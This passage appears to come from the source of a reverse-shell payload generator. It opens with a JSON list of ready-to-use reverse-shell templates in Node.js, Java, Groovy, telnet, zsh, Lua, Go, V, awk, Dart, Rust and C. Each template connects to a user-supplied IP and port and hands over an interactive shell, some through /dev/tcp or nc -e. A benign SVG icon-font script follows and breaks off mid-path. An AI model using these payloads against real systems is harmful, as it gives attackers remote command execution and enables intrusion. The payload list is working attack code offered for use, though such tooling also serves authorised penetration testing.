        "command": "(function(){\r\n    var net = require(\"net\"),\r\n        cp = require(\"child_process\"),\r\n        sh = cp.spawn(\"\\{shell}\", []);\r\n    var client = new net.Socket();\r\n    client.connect(${values.port}, \"${values.ip}\", function(){\r\n        client.pipe(sh.stdin);\r\n        sh.stdout.pipe(client);\r\n        sh.stderr.pipe(client);\r\n    });\r\n    return \/a\/; \/\/ Prevents the Node.js application from crashing\r\n})();",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    },
    {
        "name": "Java #1",
        "command": "public class shell {\n    public static void main(String[] args) {\n        Process p;\n        try {\n            p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\");\n            p.waitFor();\n            p.destroy();\n        } catch (Exception e) {}\n    }\n}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Java #2",
        "command": "public class shell {\n    public static void main(String[] args) {\n        ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\")\n            .redirectErrorStream(true);\n        try {\n            Process p = pb.start();\n            p.waitFor();\n            p.destroy();\n        } catch (Exception e) {}\n    }\n}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Java #3",
        "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n    public static void main(String[] args) {\n        String host = \"${values.ip}\";\n        int port = ${values.port};\n        String cmd = \"{shell}\";\n        try {\n            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n            Socket s = new Socket(host, port);\n            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n            OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n            while (!s.isClosed()) {\n                while (pi.available() > 0)\n                    so.write(pi.read());\n                while (pe.available() > 0)\n                    so.write(pe.read());\n                while (si.available() > 0)\n                    po.write(si.read());\n                so.flush();\n                po.flush();\n                Thread.sleep(50);\n                try {\n                    p.exitValue();\n                    break;\n                } catch (Exception e) {}\n            }\n            p.destroy();\n            s.close();\n        } catch (Exception e) {}\n    }\n}",
        "tags": [
            "windows",
            "linux",
            "mac"
        ]
    },
    {
        "name": "Javascript",
        "command": "String command = \"var host = \\'${values.ip}\\';\" +\r\n                       \"var port = ${values.port};\" +\r\n                       \"var cmd = \\'{shell}\\';\"+\r\n                       \"var s = new java.net.Socket(host, port);\" +\r\n                       \"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();\"+\r\n                       \"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\"+\r\n                       \"var po = p.getOutputStream(), so = s.getOutputStream();\"+\r\n                       \"print (\\'Connected\\');\"+\r\n                       \"while (!s.isClosed()) {\"+\r\n                       \"    while (pi.available() > 0)\"+\r\n                       \"        so.write(pi.read());\"+\r\n                       \"    while (pe.available() > 0)\"+\r\n                       \"        so.write(pe.read());\"+\r\n                       \"    while (si.available() > 0)\"+\r\n                       \"        po.write(si.read());\"+\r\n                       \"    so.flush();\"+\r\n                       \"    po.flush();\"+\r\n                       \"    java.lang.Thread.sleep(50);\"+\r\n                       \"    try {\"+\r\n                       \"        p.exitValue();\"+\r\n                       \"        break;\"+\r\n                       \"    }\"+\r\n                       \"    catch (e) {\"+\r\n                       \"    }\"+\r\n                       \"}\"+\r\n                       \"p.destroy();\"+\r\n                       \"s.close();\";\r\nString x = \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"\"+command+\"\\\")\";\r\nref.add(new StringRefAddr(\"x\", x);",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    },
    {
        "name": "Groovy",
        "command": "String host=\"${values.ip}\";int port=${values.port};String cmd=\"{shell}\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "telnet",
        "command": "TF=$(mktemp -u);mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | {shell} 1>$TF",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "zsh",
        "command": "zsh -c 'zmodload zsh/net/tcp && ztcp ${values.ip} ${values.port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Lua #1",
        "command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('${values.ip}','${values.port}');os.execute('{shell} -i <&3 >&3 2>&3');\"",
        "tags": [
            "linux"
        ]
    },
    {
        "name": "Lua #2",
        "command": "lua5.1 -e 'local host, port = \"${values.ip}\", ${values.port} local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'",
        "tags": [
            "linux",
            "windows"
        ]
    },
    {
        "name": "Golang",
        "command": "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"${values.ip}:${values.port}\");cmd:=exec.Command(\"{shell}\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    },
    {
        "name": "Vlang",
        "command": "echo 'import os' > /tmp/t.v && echo 'fn main() { os.system(\"nc -e {shell} ${values.ip} ${values.port} 0>&1\") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Awk",
        "command": "awk 'BEGIN {s = \"/inet/tcp/0/${values.ip}/${values.port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Dart",
        "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n  Socket.connect(\"${values.ip}\", ${values.port}).then((socket) {\n    socket.listen((data) {\n      Process.start('{shell}', []).then((Process process) {\n        process.stdin.writeln(new String.fromCharCodes(data).trim());\n        process.stdout\n          .transform(utf8.decoder)\n          .listen((output) { socket.write(output); });\n      });\n    },\n    onDone: () {\n      socket.destroy();\n    });\n  });\n}",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    },
    {
        "name": "Rust",
        "command": "use std::net::TcpStream;\nuse std::os::unix::io::{AsRawFd, FromRawFd};\nuse std::process::{Command, Stdio};\n\nfn main() {\n let s = TcpStream::connect(\"${values.ip}:${values.port}\").unwrap();\n let fd = s.as_raw_fd();\n Command::new(\"{shell}\")\n .arg(\"-i\")\n .stdin(unsafe { Stdio::from_raw_fd(fd) })\n .stdout(unsafe { Stdio::from_raw_fd(fd) })\n .stderr(unsafe { Stdio::from_raw_fd(fd) })\n .spawn()\n .unwrap()\n .wait()\n .unwrap();\n}",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    },
    {
        "name": "C",
        "command": "#include <stdio.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n\n#define REMOTE_ADDR \"${values.ip}\"\n#define REMOTE_PORT ${values.port} \n\nint main(int argc, char *argv[])\n{\n struct sockaddr_in sa;\n int s;\n\n sa.sin_family = AF_INET;\n sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);\n sa.sin_port = htons(REMOTE_PORT);\n\n s = socket(AF_INET, SOCK_STREAM, 0);\n connect(s, (struct sockaddr *)&sa, sizeof(sa));\n dup2(s, 0);\n dup2(s, 1);\n dup2(s, 2);\n\n execve(\"{shell}\", 0, 0);\n return 0;\n}",
        "tags": [
            "linux",
            "mac",
            "windows"
        ]
    }
]

================================================
FILE: src/assets/img/icons/iconfont.js
================================================
!function(t){var c,l,h,a,o,v='<svg><symbol id="icon-Encode-File" viewBox="0 0 1024 1024"><path d="M409.6 853.333333H34.133333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-546.133334c0-3.413333 3.413333-10.24 3.413333-13.653333l273.066667-273.066667c3.413333 0 10.24-3.413333 13.653333-3.413333h273.066667c10.24 0 17.066667 6.826667 17.066666 17.066667v477.866666c0 10.24-6.826667 17.066667-17.066666 17.066667s-17.066667-6.826667-17.066667-17.066667V34.133333H314.026667L51.2 296.96V819.2H409.6c10.24 0 17.066667 6.826667 17.066667 17.066667s-6.826667 17.066667-17.066667 17.066666z" fill="" ></path><path d="M307.2 307.2H34.133333c-10.24 0-17.066667-6.826667-17.066666-17.066667S23.893333 273.066667 34.133333 273.066667h256V17.066667c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v273.066666c0 10.24-6.826667 17.066667-17.066667 17.066667zM921.6 409.6h-6.826667c-6.826667-3.413333-10.24-10.24-10.24-17.066667V204.8c0-37.546667-30.72-68.266667-68.266666-68.266667H682.666667c-10.24 0-17.066667-6.826667-17.066667-17.066666s6.826667-17.066667 17.066667-17.066667h153.6c58.026667 0 102.4 44.373333 102.4 102.4v146.773333l37.546666-37.546666c6.826667-6.826667 17.066667-6.826667 23.893334 0s6.826667 17.066667 0 23.893333l-68.266667 68.266667s-6.826667 3.413333-10.24 3.413333z" fill="" ></path><path d="M921.6 409.6c-3.413333 0-10.24 0-13.653333-3.413333l-68.266667-68.266667c-6.826667-6.826667-6.826667-17.066667 0-23.893333s17.066667-6.826667 23.893333 0l68.266667 68.266666c6.826667 6.826667 6.826667 17.066667 0 23.893334 0 3.413333-6.826667 3.413333-10.24 3.413333zM921.6 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM853.333333 955.733333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066666-17.066666s17.066667 6.826667 17.066667 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066667 17.066666zM785.066667 955.733333c-10.24 0-17.066667-6.826667-17.066667-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066666 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066666 17.066666zM716.8 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM512 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM648.533333 955.733333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066666-17.066666s17.066667 6.826667 17.066667 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066667 17.066666zM580.266667 955.733333c-10.24 0-17.066667-6.826667-17.066667-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066666 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066666 17.066666z" fill="" ></path><path d="M785.066667 1006.933333m-17.066667 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z" fill="" ></path><path d="M853.333333 1006.933333m-17.066666 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z" fill="" ></path><path d="M580.266667 1006.933333m-17.066667 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z" fill="" ></path><path d="M648.533333 1006.933333m-17.066666 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z" fill="" ></path></symbol><symbol id="icon-shield" viewBox="0 0 1024 1024"><path d="M768 548.571429V182.857143H512v649.714286q68-36 121.714286-78.285715 134.285714-105.142857 134.285714-205.714285z m109.714286-438.857143v438.857143q0 49.142857-19.142857 97.428571t-47.428572 85.714286-67.428571 72.857143-72.285715 58.857142-69.142857 44.285715-51.142857 28.285714-24.285714 11.428571q-6.857143 3.428571-14.857143 3.428572t-14.857143-3.428572q-9.142857-4-24.285714-11.428571t-51.142857-28.285714-69.142857-44.285715-72.285715-58.857142-67.428571-72.857143-47.428572-85.714286T146.285714 548.571429V109.714286q0-14.857143 10.857143-25.714286t25.714286-10.857143h658.285714q14.857143 0 25.714286 10.857143t10.857143 25.714286z"  ></path></symbol><symbol id="icon-http" viewBox="0 0 1024 1024"><path d="M192 469.333333H106.666667v-85.333333H42.666667v256h64v-106.666667h85.333333v106.666667h64V384H192v85.333333z m106.666667-21.333333h64v192h64v-192h64v-64h-192v64z m234.666666 0h64v192h64v-192h64v-64h-192v64z m384-64h-149.333333v256h64v-85.333333h85.333333c36.266667 0 64-27.733333 64-64v-42.666667c0-36.266667-27.733333-64-64-64z m0 106.666667h-85.333333v-42.666667h85.333333v42.666667z"  ></path></symbol><symbol id="icon-web_link" viewBox="0 0 1024 1024"><path d="M531.692308 39.384615C269.784615 39.384615 59.076923 250.092308 59.076923 512s210.707692 472.615385 472.615385 472.615385 472.615385-210.707692 472.615384-472.615385S793.6 39.384615 531.692308 39.384615z m59.076923 675.446154c-29.538462 29.538462-39.384615 86.646154-51.2 126.030769-1.969231 7.876923-7.876923 15.753846-15.753846 19.692308l-19.692308 9.846154c-11.815385 5.907692-25.6 3.938462-35.446154-5.907692-19.692308-17.723077-35.446154-45.292308-35.446154-72.861539 0-47.261538-78.769231-31.507692-78.769231-126.030769 0-76.8-98.461538-122.092308-169.353846-88.615385-5.907692 1.969231-11.815385 5.907692-17.723077 5.907693-11.815385 3.938462-23.630769-3.938462-25.6-15.753846C139.815385 549.415385 137.846154 531.692308 137.846154 512c0-94.523077 33.476923-181.169231 88.615384-248.123077 0-1.969231 1.969231-1.969231 3.938462-1.969231 47.261538-55.138462 108.307692-98.461538 179.2-122.092307 17.723077-5.907692 33.476923 13.784615 23.630769 29.538461-7.876923 11.815385-11.815385 23.630769-11.815384 33.476923 1.969231 41.353846-37.415385 66.953846-55.138462 61.046154-15.753846-5.907692-59.076923 21.661538-19.692308 41.353846l21.661539 9.846154c1.969231 0 3.938462 1.969231 3.938461 1.969231l5.907693 3.938461c70.892308 41.353846 57.107692 74.830769 27.56923 126.03077-33.476923 55.138462-47.261538 0-94.523076-15.753847s-94.523077 15.753846-78.769231 47.261539c15.753846 31.507692 63.015385 0 94.523077 31.507692 31.507692 31.507692 31.507692 78.769231 126.030769 47.261539 94.523077-31.507692 110.276923-15.753846 141.784615 15.753846 27.569231 31.507692 43.323077 94.523077-3.938461 141.784615z m250.092307-3.938461c-37.415385-43.323077 0-143.753846-45.292307-200.861539-49.230769-61.046154-112.246154 1.969231-173.292308-94.523077-57.107692-92.553846 15.753846-169.353846 90.584615-194.953846 19.692308-7.876923 41.353846-9.846154 63.015385-9.846154 3.938462 0 9.846154 1.969231 13.784615 5.907693 82.707692 70.892308 135.876923 177.230769 135.876924 295.384615 0 70.892308-19.692308 137.846154-51.2 194.953846-7.876923 11.815385-23.630769 13.784615-33.476924 3.938462z"  ></path></symbol><symbol id="icon-Cloud" viewBox="0 0 1424 1024"><path d="M1242.261914 1023.997329l-886.826208-1.023998A127.242798 127.242798 0 0 1 338.472968 1023.997329 340.011635 340.011635 0 0 1 0.108633 675.393021 348.737873 348.737873 0 0 1 276.765998 333.912172a343.217192 343.217192 0 0 1 680.958224-51.155344 193.580017 193.580017 0 0 1 31.165136-2.493211 207.337198 207.337198 0 0 1 205.689898 208.539282 198.967133 198.967133 0 0 1-1.6473 25.688976 255.331508 255.331508 0 0 1 59.926105 495.614707v-0.311651z m-40.06946-90.200808a198.87809 198.87809 0 0 0 133.564869-164.997135 164.730005 164.730005 0 0 0-195.360882-161.613492l-48.395004-64.912526a117.358998 117.358998 0 0 0-103.201122-171.897986 114.865787 114.865787 0 0 0-50.264913 12.065359l-63.665921-39.713287a254.708205 254.708205 0 1 0-509.371888 5.876854c0 6.989895 0.534259 13.935268 1.068519 20.880641l-41.182501 48.528569A257.646632 257.646632 0 0 0 89.151879 675.393021a251.324562 251.324562 0 0 0 249.321089 258.225413H1202.192454z"  ></path></symbol><symbol id="icon-powershell" viewBox="0 0 1024 1024"><path d="M989.06624 131.285333c24.234667 0 39.381333 19.754667 33.792 44.16l-156.117333 681.856c-5.546667 24.405333-29.738667 44.16-53.973334 44.16H34.95424c-24.234667 0-39.381333-19.754667-33.792-44.16L157.279573 175.445333c5.546667-24.405333 29.738667-44.16 53.973334-44.16h777.813333z m-357.333333 398.72c10.709333-16.810667 9.685333-38.613333-3.84-53.034666L389.215573 223.061333c-16.213333-17.28-44.245333-17.365333-62.549333-0.170666-18.304 17.194667-19.968 45.098667-3.754667 62.336l198.912 211.626666v4.693334l-316.586666 229.248c-19.2 13.952-22.741333 41.685333-7.978667 61.994666 14.762667 20.309333 42.282667 25.472 61.44 11.52l351.104-252.117333c11.946667-8.405333 18.688-15.616 21.930667-22.186667z m-119.296 187.690667a39.594667 39.594667 0 0 0-39.850667 39.381333c0 21.76 17.834667 39.381333 39.850667 39.381334h189.141333a39.594667 39.594667 0 0 0 39.850667-39.381334 39.594667 39.594667 0 0 0-39.850667-39.381333H512.436907z"  ></path></symbol><symbol id="icon-filelock" viewBox="0 0 1024 1024"><path d="M256 85.333333C208.64 85.333333 170.666667 123.733333 170.666667 170.666667L170.666667 853.333333C170.666667 900.266667 209.066667 938.666667 256 938.666667L768 938.666667C814.933333 938.666667 853.333333 900.266667 853.333333 853.333333L853.333333 341.333333 597.333333 85.333333 256 85.333333M554.666667 149.333333 789.333333 384 554.666667 384 554.666667 149.333333M512 469.333333C582.826667 469.333333 640 526.506667 640 597.333333L640 640 682.666667 640 682.666667 810.666667 341.333333 810.666667 341.333333 640 384 640 384 597.333333C384 527.36 441.173333 469.333333 512 469.333333M512 554.666667C488.533333 554.666667 469.333333 573.866667 469.333333 597.333333L469.333333 640 554.666667 640 554.666667 597.333333C554.666667 574.72 535.466667 554.666667 512 554.666667Z"  ></path></symbol><symbol id="icon-transfer" viewBox="0 0 1024 1024"><path d="M783.272333 949.20655c-1.848091 0-3.607154-0.293689-5.249561-0.820692-6.451946-2.287089-10.763135-8.388041-10.763135-15.192004L767.259638 789.016151 422.917102 789.016151c-30.912034 0-56.075133-25.104771-56.075133-56.016805 0-30.912034 25.163099-56.016805 56.075133-56.016805L767.258615 676.982542 767.258615 532.805862c0-6.803963 4.281513-12.845563 10.67513-15.074324 1.612731-0.176009 3.108804-0.234337 4.457522-0.234337 7.214309 0 10.851139 2.052752 13.403265 5.279237L955.956278 723.028251c4.721535 5.865591 4.721535 14.077623 0.029676 19.943215L795.794531 943.223279C792.745079 947.036118 788.198529 949.20655 783.272333 949.20655z"  ></path><path d="M240.727667 72.29556c1.848091 0 3.607154 0.293689 5.249561 0.820692 6.451946 2.287089 10.763135 8.388041 10.763135 15.192004l0 144.17668 344.341512 0c30.912034 0 56.075133 25.104771 56.075133 56.016805s-25.163099 56.016805-56.075133 56.016805L256.741385 344.518544l0 144.17668c0 6.803963-4.281513 12.845563-10.67513 15.074324-1.612731 0.176009-3.108804 0.234337-4.457522 0.234337-7.214309 0-10.851139-2.052752-13.403265-5.279237L68.043722 298.473859c-4.721535-5.865591-4.721535-14.077623-0.029676-19.943215L228.204445 78.278831C231.254921 74.465992 235.800447 72.29556 240.727667 72.29556z"  ></path></symbol><symbol id="icon-inserttemplate" viewBox="0 0 1024 1024"><path d="M384 192l128 0 0 64-128 0zM576 192l128 0 0 64-128 0zM896 192l0 256-192 0 0-64 128 0 0-128-64 0 0-64zM320 384l128 0 0 64-128 0zM512 384l128 0 0 64-128 0zM192 256l0 128 64 0 0 64-128 0 0-256 192 0 0 64zM384 576l128 0 0 64-128 0zM576 576l128 0 0 64-128 0zM896 576l0 256-192 0 0-64 128 0 0-128-64 0 0-64zM320 768l128 0 0 64-128 0zM512 768l128 0 0 64-128 0zM192 640l0 128 64 0 0 64-128 0 0-256 192 0 0 64zM960 64l-896 0 0 896 896 0 0-896zM1024 0l0 0 0 1024-1024 0 0-1024 1024 0z"  ></path></symbol><symbol id="icon-linux" viewBox="0 0 1024 1024"><path d="M452.32912 234.848q-6.272 0.576-8.864 6.016t-4.864 5.44q-2.848 0.576-2.848-2.848 0-6.848 10.848-8.576l5.728 0zM502.05712 242.848q-2.272 0.576-6.56-3.712t-10.016-2.56q13.728-6.272 18.272 1.152 1.728 3.424-1.728 5.152zM301.48112 486.848q-2.272-0.576-3.424 1.728t-2.56 7.136-3.136 7.712-5.728 7.424q-4 5.728-0.576 6.848 2.272 0.576 7.136-4t7.136-10.272q0.576-1.728 1.152-4t1.152-3.424 0.864-2.56 0.288-2.272l0-1.728t-0.576-1.44-1.728-1.152zM790.05712 692q0-10.272-31.424-24 2.272-8.576 4.288-15.712t2.848-14.848 1.728-12.288 0.288-12.864-0.576-11.136-2.016-12.576-2.272-11.712-2.848-14.272-3.136-15.136q-5.728-27.424-26.848-58.848t-41.152-42.848q13.728 11.424 32.576 47.424 49.728 92.576 30.848 158.848-6.272 22.848-28.576 24-17.728 2.272-22.016-10.56t-4.576-47.712-6.56-61.152q-5.152-22.272-11.136-39.424t-11.136-26.016-8.864-14.016-7.424-8.576-4.288-4q-8-35.424-17.728-58.848t-16.864-32-13.44-18.848-8.576-22.848q-2.272-12 3.424-30.56t2.56-28.288-25.44-14.272q-8.576-1.728-25.44-10.272t-20.288-9.152q-4.576-0.576-6.272-14.848t4.576-29.152 20.576-15.424q21.152-1.728 29.152 17.152t2.272 33.152q-6.272 10.848-1.152 15.136t17.152 0.288q7.424-2.272 7.424-20.576l0-21.152q-2.848-17.152-7.712-28.576t-12-17.44-13.44-8.576-15.424-4.288q-61.152 4.576-50.848 76.576 0 8.576-0.576 8.576-5.152-5.152-16.864-6.016t-18.848 0.288-8.864-2.848q0.576-32.576-9.152-51.424t-25.728-19.424q-15.424-0.576-23.712 15.712t-9.44 34.016q-0.576 8.576 2.016 21.152t7.424 21.44 8.864 7.712q5.728-1.728 9.152-8 2.272-5.152-4-4.576-4 0-8.864-8.288t-5.44-19.136q-0.576-12.576 5.152-21.152t19.424-8q9.728 0 15.424 12t5.44 22.272-0.864 12.576q-12.576 8.576-17.728 16.576-4.576 6.848-15.712 13.44t-11.712 7.136q-7.424 8-8.864 15.424t4.288 10.272q8 4.576 14.272 11.136t9.152 10.848 10.56 7.424 20.288 3.712q26.848 1.152 58.272-8.576 1.152-0.576 13.152-4t19.712-6.016 16.864-7.424 12-10.016q5.152-8 11.424-4.576 2.848 1.728 3.712 4.864t-1.728 6.848-9.44 5.44q-11.424 3.424-32.288 12.288t-26.016 11.136q-25.152 10.848-40 13.152-14.272 2.848-45.152-1.152-5.728-1.152-5.152 1.152t9.728 10.848q14.272 13.152 38.272 12.576 9.728-0.576 20.576-4t20.576-8 19.136-10.016 17.152-9.728 14.016-6.848 10.016-1.44 4.864 6.272q0 1.152-0.576 2.56t-2.272 2.848-3.424 2.56-4.864 2.848-5.152 2.56-5.728 2.848-5.44 2.56q-16 8-38.56 25.152t-38.016 24.576-28 0.576q-12-6.272-36-41.728-12.576-17.728-14.272-12.576-0.576 1.728-0.576 5.728 0 14.272-8.576 32.288t-16.864 31.712-12 33.152 6.56 36q-13.152 3.424-35.712 51.424t-27.136 80.576q-1.152 10.272-0.864 39.424t-3.136 33.728q-4.576 13.728-16.576 1.728-18.272-17.728-20.576-53.728-1.152-16 2.272-32 2.272-10.848-0.576-10.272l-2.272 2.848q-20.576 37.152 5.728 94.848 2.848 6.848 14.272 16t13.728 11.424q11.424 13.152 59.424 51.712t53.152 43.712q9.152 8.576 10.016 21.728t-8 24.576-26.016 13.152q4.576 8.576 16.576 25.44t16 30.848 4 40.288q26.272-13.728 4-52.576-2.272-4.576-6.016-9.152t-5.44-6.848-1.152-3.424q1.728-2.848 7.424-5.44t11.424 1.44q26.272 29.728 94.848 20.576 76-8.576 101.152-49.728 13.152-21.728 19.424-17.152 6.848 3.424 5.728 29.728-0.576 14.272-13.152 52.576-5.152 13.152-3.424 21.44t13.728 8.864q1.728-10.848 8.288-44t7.712-51.424q1.152-12-3.712-42.016t-4.288-55.424 13.152-40.288q8.576-10.272 29.152-10.272 0.576-21.152 19.712-30.272t41.44-6.016 34.272 12.864zM431.20912 219.424q1.728-9.728-1.44-17.152t-6.56-8.576q-5.152-1.152-5.152 4 1.152 2.848 2.848 3.424 5.728 0 4 8.576-1.728 11.424 4.576 11.424 1.728 0 1.728-1.728zM670.63312 332q-1.152-4.576-3.712-6.56t-7.424-2.848-8.288-3.136q-2.848-1.728-5.44-4.576t-4-4.576-3.136-3.712-2.272-2.272-2.272 0.864q-8 9.152 4 24.864t22.272 18.016q5.152 0.576 8.288-4.576t2.016-11.424zM568.90512 210.272q0-6.272-2.848-11.136t-6.272-7.136-5.152-1.728q-8 0.576-4 4l2.272 1.152q8 2.272 10.272 17.728 0 1.728 4.576-1.152zM599.75312 77.152q0-1.152-1.44-2.848t-5.152-4-5.44-3.424q-8.576-8.576-13.728-8.576-5.152 0.576-6.56 4.288t-0.576 7.424-0.288 7.136q-0.576 2.272-3.424 6.016t-3.424 5.152 1.728 4.864q2.272 1.728 4.576 0t6.272-5.152 8.576-5.152q0.576-0.576 5.152-0.576t8.576-1.152 5.152-4zM922.63312 843.424q11.424 6.848 17.728 14.016t6.848 13.728-1.44 12.864-8.864 12.576-13.44 11.136-17.152 10.56-18.016 9.44-18.272 8.864-15.424 7.424q-21.728 10.848-48.864 32t-43.136 36.576q-9.728 9.152-38.848 11.136t-50.848-8.288q-10.272-5.152-16.864-13.44t-9.44-14.56-12.576-11.136-26.848-5.44q-25.152-0.576-74.272-0.576-10.848 0-32.576 0.864t-33.152 1.44q-25.152 0.576-45.44 8.576t-30.56 17.152-24.864 16.288-30.56 6.56q-16.576-0.576-63.424-17.728t-83.424-24.576q-10.848-2.272-29.152-5.44t-28.576-5.152-22.56-5.44-19.136-8.288-9.728-11.136q-5.728-13.152 4-38.016t10.272-31.136q0.576-9.152-2.272-22.848t-5.728-24.288-2.56-20.864 6.016-15.424q8-6.848 32.576-8t34.272-6.848q17.152-10.272 24-20t6.848-29.152q12 41.728-18.272 60.576-18.272 11.424-47.424 8.576-19.424-1.728-24.576 5.728-7.424 8.576 2.848 32.576 1.152 3.424 4.576 10.272t4.864 10.272 2.56 9.728 0.576 12.576q0 8.576-9.728 28t-8 27.424q1.728 9.728 21.152 14.848 11.424 3.424 48.288 10.56t56.864 11.712q13.728 3.424 42.272 12.576t47.136 13.152 31.712 2.272q24.576-3.424 36.864-16t13.152-27.424-4.288-33.44-10.848-29.728-11.424-20.864q-69.152-108.576-96.576-138.272-38.848-42.272-64.576-22.848-6.272 5.152-8.576-8.576-1.728-9.152-1.152-21.728 0.576-16.576 5.728-29.728t13.728-26.848 12.576-24q4.576-12 15.136-41.152t16.864-44.576 17.152-34.848 22.272-30.848q62.848-81.728 70.848-111.424-6.848-64-9.152-177.152-1.152-51.424 13.728-86.56t60.576-59.712q22.272-12 59.424-12 30.272-0.576 60.576 7.712t50.848 23.712q32.576 24 52.288 69.44t16.864 84.288q-2.848 54.272 17.152 122.272 19.424 64.576 76 124.576 31.424 33.728 56.864 93.152t34.016 109.152q4.576 28 2.848 48.288t-6.848 31.712-11.424 12.576q-5.728 1.152-13.44 10.848t-15.424 20.288-23.136 19.136-34.848 8q-10.272-0.576-18.016-2.848t-12.864-7.712-7.712-8.864-6.56-11.712-5.152-11.136q-12.576-21.152-23.424-17.152t-16 28 4 55.424q11.424 40 0.576 111.424-5.728 37.152 10.272 57.44t41.728 18.848 48.576-20.288q33.728-28 51.136-38.016t59.136-24.288q30.272-10.272 44-20.864t10.56-19.712-14.272-16.288-29.44-13.44q-18.848-6.272-28.288-27.424t-8.576-41.44 8.864-27.136q0.576 17.728 4.576 32.288t8.288 23.136 11.712 16.288 12 10.848 12.288 7.424 9.44 5.44z"  ></path></symbol><symbol id="icon-sql" viewBox="0 0 1024 1024"><path d="M298.337 320.634l-55.116 48.677c-19.402-26.983-39.066-40.39-59.171-40.39-9.789 0-17.726 2.645-23.986 7.849-6.174 5.204-9.347 11.109-9.347 17.726 0 6.525 2.207 12.787 6.702 18.606 6.001 7.849 24.252 24.605 54.587 50.266 28.396 23.723 45.678 38.714 51.677 44.973 15.081 15.254 25.837 29.806 32.099 43.741 6.26 13.933 9.434 29.101 9.434 45.595 0 32.099-11.109 58.641-33.246 79.54-22.223 20.899-51.147 31.396-86.773 31.396-27.868 0-52.116-6.79-72.841-20.46-20.636-13.67-38.359-35.095-53.087-64.375l62.611-37.742c18.783 34.57 40.476 51.852 64.992 51.852 12.787 0 23.547-3.703 32.276-11.2 8.731-7.407 13.052-16.048 13.052-25.837 0-8.907-3.263-17.726-9.877-26.63-6.614-8.907-21.074-22.396-43.387-40.653-42.592-34.745-70.194-61.554-82.627-80.425s-18.606-37.742-18.606-56.527c0-27.158 10.316-50.443 31.042-69.842 